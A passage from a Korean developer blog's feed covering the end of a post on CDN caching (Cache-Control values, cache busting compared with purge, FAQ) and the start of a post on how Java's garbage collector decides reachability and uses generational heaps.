&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;private&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;브라우저만 저장하고, CDN은 저장하지 마세요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;max-age=N&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;N초 동안 신선한 것으로 취급합니다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;no-store&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;아무데도 저장하지 마세요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;immutable&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;만료 전엔 재검증도 하지 마세요&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;자산 종류에 따라 값이 갈립니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;대상&lt;/th&gt;
&lt;th&gt;권장&lt;/th&gt;
&lt;th&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;파일명에 해시가 붙은 JS·CSS·이미지&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;max-age=31536000, immutable&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;내용이 바뀌면 파일명이 바뀌므로 영원히 캐시해도 안전&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HTML&lt;/td&gt;
&lt;td&gt;짧게, 또는 &lt;code class=&quot;language-text&quot;&gt;no-cache&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;여기서 새 파일명을 가리켜야 하므로 최신이어야 함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;로그인 사용자 응답&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;private&lt;/code&gt; 또는 &lt;code class=&quot;language-text&quot;&gt;no-store&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;남에게 나가면 사고&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;배포했는데 예전 게 나올 때&lt;/h2&gt;
&lt;p&gt;가장 흔한 사고입니다. 원인은 둘 중 하나입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;하나, 아직 TTL이 안 지났습니다.&lt;/strong&gt; 엣지는 자기가 들고 있는 사본이 만료되기 전엔 오리진에 묻지 않습니다. 오리진을 아무리 바꿔도 엣지는 모릅니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;둘, HTML까지 길게 캐시했습니다.&lt;/strong&gt; JS 파일명은 바뀌었는데 그걸 가리키는 HTML이 옛날 것이면, 사용자는 계속 옛 파일을 부릅니다.&lt;/p&gt;
&lt;p&gt;해결은 두 갈래입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;방법&lt;/th&gt;
&lt;th&gt;하는 일&lt;/th&gt;
&lt;th&gt;언제&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;캐시 버스팅&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;내용이 바뀌면 파일명도 바뀌게 함 (&lt;code class=&quot;language-text&quot;&gt;app.a3f9c1.js&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;평상시 정석&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;퍼지(무효화)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;엣지에 &quot;그거 버려라&quot;를 직접 지시&lt;/td&gt;
&lt;td&gt;급할 때, 되돌릴 때&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;평소엔 퍼지에 의존하지 마세요.&lt;/strong&gt; 반영에 시간이 걸리고, 사업자에 따라 건수 과금이 있으며, 무엇보다 전 세계 엣지가 동시에 비면 그 트래픽이 오리진으로 한꺼번에 몰립니다. 파일명에 해시를 붙이는 빌드 설정이 정답이고, 퍼지는 사고 대응용입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;동적인 것은 어떻게 하나&lt;/h2&gt;
&lt;p&gt;사용자마다 다른 응답은 캐시할 수 없습니다. 그러면 CDN이 쓸모없냐 하면, 그렇지 않습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;연결은 여전히 가까운 곳에서 끊깁니다.&lt;/strong&gt; TCP·TLS 왕복을 엣지와 하고, 엣지↔오리진은 이미 열려 있는 연결을 재사용합니다. 캐시가 하나도 안 돼도 &lt;strong&gt;핸드셰이크 왕복만큼은 줄어듭니다&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;아주 짧은 TTL도 효과가 큽니다.&lt;/strong&gt; 초당 1,000건 들어오는 API에 &lt;code class=&quot;language-text&quot;&gt;max-age=1&lt;/code&gt; 만 걸어도 오리진이 받는 건 초당 1건입니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;정적과 동적을 경로로 나누세요.&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;/static/*&lt;/code&gt; 는 길게, &lt;code class=&quot;language-text&quot;&gt;/api/*&lt;/code&gt; 는 캐시 없이&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;정리 — 순서대로 보실 것&lt;/h2&gt;
&lt;p&gt;CDN이 기대만큼 안 빠르다면 이 순서로 확인하시면 됩니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;x-cache&lt;/code&gt; 헤더를 봅니다.&lt;/strong&gt; MISS만 나온다면 캐시가 아예 안 걸린 것입니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;Cache-Control&lt;/code&gt;을 봅니다.&lt;/strong&gt; 오리진이 &lt;code class=&quot;language-text&quot;&gt;no-store&lt;/code&gt;나 &lt;code class=&quot;language-text&quot;&gt;private&lt;/code&gt;을 주고 있으면 엣지는 저장하지 않습니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;캐시 키를 봅니다.&lt;/strong&gt; 쿼리스트링이 매번 달라지면 HIT이 날 수 없습니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;두 번 이상 호출하고 비교합니다.&lt;/strong&gt; 첫 호출은 원래 MISS입니다&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;CDN을 쓰면 서버 비용이 줄어드나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;대개 줄어듭니다.&lt;/strong&gt; 엣지가 대신 답한 요청은 오리진에 도달하지 않으므로 오리진의 트래픽과 부하가 함께 내려갑니다. 다만 CDN 자체의 전송 요금이 붙으므로, 트래픽이 아주 적은 서비스에서는 총액이 오히려 늘 수도 있습니다.&lt;/p&gt;
&lt;h3&gt;이미지만 올려도 효과가 있나요?&lt;/h3&gt;
&lt;p&gt;있습니다. 페이지 용량의 대부분은 보통 이미지와 JS입니다. 다만 &lt;strong&gt;HTML이 느리면 이미지 요청 자체가 늦게 시작&lt;/strong&gt;되므로, 이미지만 붙이고 HTML은 멀리 두면 체감은 기대보다 작습니다.&lt;/p&gt;
&lt;h3&gt;캐시 때문에 사고가 났다는 얘기를 들었습니다&lt;/h3&gt;
&lt;p&gt;로그인한 사용자의 응답이 캐시돼 다른 사람에게 나가는 사고입니다. 원인은 거의 항상 둘 중 하나입니다 — 개인화된 응답에 &lt;code class=&quot;language-text&quot;&gt;Cache-Control: public&lt;/code&gt;이 붙었거나, 사용자를 구분하는 값이 캐시 키에 없거나. 개인화 응답에는 &lt;code class=&quot;language-text&quot;&gt;private&lt;/code&gt; 또는 &lt;code class=&quot;language-text&quot;&gt;no-store&lt;/code&gt;를 명시하세요.&lt;/p&gt;
&lt;h3&gt;오리진이 죽으면 CDN이 대신 서비스해 주나요?&lt;/h3&gt;
&lt;p&gt;기본 동작은 아닙니다. TTL이 살아 있는 동안은 엣지가 계속 답하지만, 만료된 뒤엔 오리진에 물으러 갔다가 실패합니다. 다만 대부분의 CDN이 &lt;strong&gt;만료된 사본이라도 일단 내보내는 옵션&lt;/strong&gt;(&lt;code class=&quot;language-text&quot;&gt;stale-if-error&lt;/code&gt; 계열)을 제공하므로, 장애 대비가 필요하면 이걸 켜 두시면 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;정리하며&lt;/h2&gt;
&lt;p&gt;CDN은 서버를 빠르게 만들지 않습니다. &lt;strong&gt;거리를 줄일 뿐입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;지연의 바닥은 거리가 정합니다. 사양으로는 안 내려갑니다&lt;/li&gt;
&lt;li&gt;엣지는 빈 상태로 시작합니다. &lt;strong&gt;첫 요청은 원래 MISS입니다&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;무엇을 같은 파일로 볼지는 캐시 키가 정합니다. 쿼리스트링이 흔한 함정입니다&lt;/li&gt;
&lt;li&gt;평상시 무효화는 퍼지가 아니라 &lt;strong&gt;파일명 해시&lt;/strong&gt;로 합니다&lt;/li&gt;
&lt;li&gt;개인화된 응답에 &lt;code class=&quot;language-text&quot;&gt;public&lt;/code&gt;을 붙이면 사고가 납니다&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CDN을 붙이고 &quot;생각보다 별로인데&quot; 하셨던 적 있으신가요? &lt;code class=&quot;language-text&quot;&gt;x-cache&lt;/code&gt; 헤더를 보셨을 때 HIT이던가요, MISS던가요?&lt;/p&gt;
&lt;h3&gt;참고 자료&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/ko/docs/Web/HTTP/Caching&quot;&gt;MDN — HTTP 캐싱&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/ko/docs/Web/HTTP/Headers/Cache-Control&quot;&gt;MDN — Cache-Control&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc9111.html&quot;&gt;RFC 9111 — HTTP Caching&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[GC는 무엇을 지우나 — 안 쓰는 객체가 아니라 닿지 않는 객체]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "메모리는 GC가 알아서 정리해 주는 거 아닌가요?
그런데 왜 가 나죠?" 정리해 줍니다. 다만 여러분이 생각하는 기준으로 정리하지 않습니다. 결론부터 말씀드리면 — GC…]]></description><link>https://blog.javapark.kr/garbage-collection-explained/</link><guid isPermaLink="false">https://blog.javapark.kr/garbage-collection-explained/</guid><pubDate>Tue, 18 Aug 2026 14:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/9d8fc432572b721b90aa2a41d4109eb4/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACIElEQVR42mWSa2vUQBSGAyqbzcxuMtlkMrlfJpN70i3dbLdb4253tRZpi1rbapFai18U24LiB/+9g4UiCA8v58M8DJz3CEA0kBI6pNYQlUQD9MkDCgwMVPt4nlj7TXAyia92s++L8ufT/HbKrjeCUwH0DQWmkdV5xtb/MkENl1P7oAlOW3bdFXfr+vei/LHNvozDc6H3RDs+Or+5+eV7xeNHar+HOWJPF3sa7DvaMLfVlln7tf92i17O069dfrebfWvjz41/Kog9vPfs1cXZVeSVI8WzzczQKcEJ0XNLLwNzWtKD2FzlzuFGeMZ9rk3iT+PwfekeC1B2TDN17YJFm9PJ6unicLk82uve7M0/Pu8ul7OL4/UttRbUXOfuIf+/Cd7V/knhHTHrhQA1X/cLI6qMsEI2UwnDJFXVaIRCNPR0FCuAErTharPIWHIhsV8m9j4lKx/vCsAMw2I56z742WLcvk6KNXEqxrb1EXOtikUt9VpLb6pkFdlzR5t5eO7pO442NUdjAQQM560/XvK0izlhk5GTYbtQ1FBTqY7oSAmVQWCoGUYFVipenoEqXcnVQSxAVkhpJqaJlGX9OJHCGDpUwj5ArgRIX8R/+zOASKDkyNCToT8E3kCyoWQKMK/k8SbaankOq2aQlDBIBjblu+C75C84vPP7vEceuENg80GAVaPNdkjXKdMW1DXMShilkMs4ALLz7808oKsUyT4f/gABMlpcdciqWAAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/9d8fc432572b721b90aa2a41d4109eb4/a1b3b/thumbnail.webp 215w,
/static/9d8fc432572b721b90aa2a41d4109eb4/fc700/thumbnail.webp 430w,
/static/9d8fc432572b721b90aa2a41d4109eb4/521f7/thumbnail.webp 860w,
/static/9d8fc432572b721b90aa2a41d4109eb4/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/9d8fc432572b721b90aa2a41d4109eb4/f7886/thumbnail.png 215w,
/static/9d8fc432572b721b90aa2a41d4109eb4/bc750/thumbnail.png 430w,
/static/9d8fc432572b721b90aa2a41d4109eb4/3e3fe/thumbnail.png 860w,
/static/9d8fc432572b721b90aa2a41d4109eb4/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/9d8fc432572b721b90aa2a41d4109eb4/3e3fe/thumbnail.png&apos; alt=&apos;가비지 컬렉션 커버 — 루트에서 참조를 따라 닿는 객체는 살고 끊긴 객체는 회수되는 구조&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;가비지 컬렉션 커버 — 루트에서 참조를 따라 닿는 객체는 살고 끊긴 객체는 회수되는 구조&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;메모리는 GC가 알아서 정리해 주는 거 아닌가요?
그런데 왜 &lt;code class=&quot;language-text&quot;&gt;OutOfMemoryError&lt;/code&gt;가 나죠?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;정리해 줍니다. 다만 &lt;strong&gt;여러분이 생각하는 기준으로 정리하지 않습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;GC는 &quot;안 쓰는 객체&quot;를 지우는 게 아니라 &quot;닿을 수 없는 객체&quot;를 지웁니다.&lt;/strong&gt; 이 둘은 다릅니다. 그리고 그 차이가 메모리 누수의 정체입니다.&lt;/p&gt;
&lt;p&gt;참조 하나가 끊기면서 거기 매달린 객체까지 통째로 섬이 되는 장면을 눈으로 보고 싶으시면 &lt;strong&gt;52초짜리 영상&lt;/strong&gt;으로도 정리했습니다. 왼쪽은 회수되고 오른쪽은 안 죽는 이유를 같은 화면에서 비교합니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/e5Zryc-_GW8&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 93.95348837209302%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAIAAAAf7rriAAAACXBIWXMAAAsTAAALEwEAmpwYAAADN0lEQVR42j2TWW8cRRRGW/J0VS+1L91VvXn2cWazZ8Z2Qgx2xgkokIUhKEiAECCeEEg8I/EEf5xbY4J01Gqp+9RX99atyBXzprqoq/Om3jyaPt+sXm1Xr9bzzyfD26batPWubbaD08ers5eXF19ebQ4Xi9fT4d1pe+XdIup3jyfj/eLs5XS8f/HJb98c/vzpu7+/uP/jevOt9+u6vnBuORk92z/99fv3f/3ywz+f3f2+Xb3z1Rr8yLtV2+wgtmuvVmeQ+WZzfriYv300edHU2669hK+j/tPN8rA9//py8363fDeffgqRjT+PEGYYc4Q5TgSKWSJsanya6DwvOKsEb6TopOwEbaQfaT8xYmD1pDQzo0ZRjEjvSFgFMTAzVuaZIaSgtKTUsYcleBtMP7VyCLLV4weZHmEIMZzKpGmzFGLtUXaMes5qIVoFyd1MNzPDB0aPwDRyGMWYBcAniq4XfL1Kqc0yC9umBJJ9SKY1LwfyciuXa60HWg60gmc/ihMepxySe7oo9h8XtzcIdp6ZnBSE/LdtTirajYv9jXlyLYqBEp2Sp1KcRigVgYQjrvF0ZLo+hWRigxxqPobTSsiWnc35YAbFhxYG2ghlAuUy+N4jqvJU5sQk1Ob0f9kFnzhR9IU55bSG/gGc1xHKRQyUDpcOFuoRJZh1vCS0wKRISJk/+HlJ2yF1fVgFjhCAcqKYa7Zeyie72JQ4lydE1bJ8Ozy7qYalcE7ATw6al9sWGsYXS8qhigBsJ+oZa28/au7vet4/yGPtf1zsDsP5TNcz0yjh0sxm7cDe3cjrXS4rkodeAhHUiZsadQ00DDEVU5kytS7qqal6RMdQP4H+FRkts9E4a/p5Gk7xgQgERGUAZK4wUydUUm4Yt4jolJqUADZLTa58zkt4yfIwCEAUHAGY8ITT4uqEyU7ZUpgTIhOiMNEJkKikblPrUyTTVB9RUXAkYAAsdY9rp4rDZPGsG+dUxURi8FOJjVPXO7Zc4EwlWCZJIAqaAiyAlTkRemjcz6urr8YLyXQPZJgCuHa+cve34CNY63gFccI/yNoGpImFTgUMflmrAmIRAFMA85uJ2FdIF3FMP9wl+i8V4mnTidbMWgAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/a9ba2b182fbe0563b1fa8e3e45aaa2a6/a1b3b/video-thumb.webp 215w,
/static/a9ba2b182fbe0563b1fa8e3e45aaa2a6/fc700/video-thumb.webp 430w,
/static/a9ba2b182fbe0563b1fa8e3e45aaa2a6/521f7/video-thumb.webp 860w,
/static/a9ba2b182fbe0563b1fa8e3e45aaa2a6/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/a9ba2b182fbe0563b1fa8e3e45aaa2a6/f7886/video-thumb.png 215w,
/static/a9ba2b182fbe0563b1fa8e3e45aaa2a6/bc750/video-thumb.png 430w,
/static/a9ba2b182fbe0563b1fa8e3e45aaa2a6/3e3fe/video-thumb.png 860w,
/static/a9ba2b182fbe0563b1fa8e3e45aaa2a6/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/a9ba2b182fbe0563b1fa8e3e45aaa2a6/3e3fe/video-thumb.png&apos; alt=&apos;GC 영상 — 참조가 끊겨 섬이 된 객체는 회수되고, static이 붙잡은 객체는 안 쓰는데도 살아남는 화면&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;GC 영상 — 참조가 끊겨 섬이 된 객체는 회수되고, static이 붙잡은 객체는 안 쓰는데도 살아남는 화면&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;GC의 판단 기준 — 쓰는가가 아니라 닿는가&lt;/h2&gt;
&lt;p&gt;GC는 여러분의 의도를 모릅니다. &quot;이 객체는 이제 안 쓸 거야&quot;를 알 방법이 없습니다. 대신 &lt;strong&gt;기계적으로 확인 가능한 것 하나&lt;/strong&gt;를 봅니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;지금 실행 중인 코드에서 참조를 타고 저 객체까지 갈 수 있는가?&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;갈 수 있으면 살리고, 없으면 회수합니다. 이걸 &lt;strong&gt;도달 가능성(reachability)&lt;/strong&gt; 이라고 합니다.&lt;/p&gt;
&lt;h3&gt;출발점 — GC Root&lt;/h3&gt;
&lt;p&gt;&quot;갈 수 있다&quot;를 따지려면 출발점이 있어야 합니다. 그게 &lt;strong&gt;GC Root&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;GC Root&lt;/th&gt;
&lt;th&gt;예&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;실행 중인 스레드의 스택&lt;/td&gt;
&lt;td&gt;메서드 안의 지역 변수, 파라미터&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;static 필드&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;static Map&amp;lt;String, Session&gt; CACHE&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JNI 참조&lt;/td&gt;
&lt;td&gt;네이티브 코드가 쥐고 있는 객체&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;실행 중인 스레드 객체 자체&lt;/td&gt;
&lt;td&gt;살아 있는 &lt;code class=&quot;language-text&quot;&gt;Thread&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;두 단계 — 표시하고, 쓸어낸다&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Mark&lt;/strong&gt; — 모든 GC Root에서 출발해 참조를 따라가며 닿는 객체에 표시를 남깁니다. 그래프 순회입니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sweep&lt;/strong&gt; — 표시가 없는 객체를 회수합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;handle&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Order&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;      &lt;span class=&quot;token comment&quot;&gt;// 지역변수 a 가 루트 → 도달 가능&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; b &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Payment&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    a&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;setPayment&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;b&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;          &lt;span class=&quot;token comment&quot;&gt;// a 를 통해 b 에도 도달 가능&lt;/span&gt;

    a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;                 &lt;span class=&quot;token comment&quot;&gt;// 이 순간 a 도 b 도 루트에서 끊긴다&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;                             &lt;span class=&quot;token comment&quot;&gt;// 둘 다 회수 대상&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;여기서 중요한 건 &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;b&lt;/code&gt;를 직접 끊지 않았는데도 회수된다&lt;/strong&gt;는 점입니다. 참조 그래프에서 섬처럼 떨어져 나가면, 그 섬 전체가 통째로 회수됩니다. &lt;strong&gt;객체끼리 서로를 참조하고 있어도 마찬가지입니다&lt;/strong&gt; — 루트에서 그 섬으로 들어가는 길이 없으면 전부 쓰레기입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;참조 카운팅(Python·Swift)은 이 순환 참조를 스스로 못 풉니다. 그래서 Python은 참조 카운팅에 &lt;strong&gt;순환 수집기를 따로 얹어&lt;/strong&gt; 씁니다. JVM처럼 그래프를 순회하는 방식(tracing)은 순환이 애초에 문제가 되지 않습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;왜 세대로 나누나&lt;/h2&gt;
&lt;p&gt;객체 전체를 매번 순회하면 비쌉니다. 그래서 GC는 경험칙 하나에 기댑니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;약한 세대 가설 — 대부분의 객체는 만들어지자마자 죽는다.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;요청 하나 처리하면서 만든 DTO, 임시 리스트, 문자열… 거의 전부 그 요청이 끝나면 쓰레기가 됩니다. 반대로 오래 살아남은 객체(캐시, 커넥션 풀, 스프링 빈)는 앞으로도 오래 삽니다.&lt;/p&gt;
&lt;p&gt;그래서 힙을 나눕니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;영역&lt;/th&gt;
&lt;th&gt;무엇이 있나&lt;/th&gt;
&lt;th&gt;수집 빈도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Young&lt;/strong&gt; (Eden + Survivor)&lt;/td&gt;
&lt;td&gt;갓 만든 객체&lt;/td&gt;
&lt;td&gt;자주, 짧게 (Minor GC)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Old&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;여러 번 살아남아 승격된 객체&lt;/td&gt;
&lt;td&gt;드물게, 길게 (Major/Full GC)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;새 객체는 Eden에 놓입니다. Eden이 차면 Minor GC가 돌고, &lt;strong&gt;살아남은 것만&lt;/strong&gt; Survivor로 옮깁니다. 몇 번 더 살아남으면 Old로 승격됩니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;핵심은 &quot;살아남은 것만 옮긴다&quot;는 부분입니다.&lt;/strong&gt; 대부분 죽으므로 옮길 게 별로 없고, 그래서 Minor GC는 빠릅니다. 죽은 객체를 지우는 비용은 들지 않습니다 — 그냥 안 옮기면 끝이니까요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Stop-the-World — 왜 멈추나&lt;/h2&gt;
